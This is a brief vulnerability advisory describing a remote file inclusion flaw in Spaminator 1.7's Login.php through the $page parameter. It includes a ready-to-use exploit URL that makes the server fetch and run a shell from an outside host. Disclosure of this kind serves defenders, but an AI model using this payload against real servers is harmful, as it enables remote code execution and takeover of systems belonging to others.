Spaminator 1.7. is vulnerable to a remote file include vulnerability. The vulnerable code is located in the /src/Login.php page, where the variable $page is declared and then included in the code. An attacker can exploit this vulnerability by sending a malicious URL to the vulnerable server, such as http://server/dir_spaminator/src/Login.php?page=http://www.evalsite.com/shell.php?. This will allow the attacker to execute arbitrary code on the vulnerable server.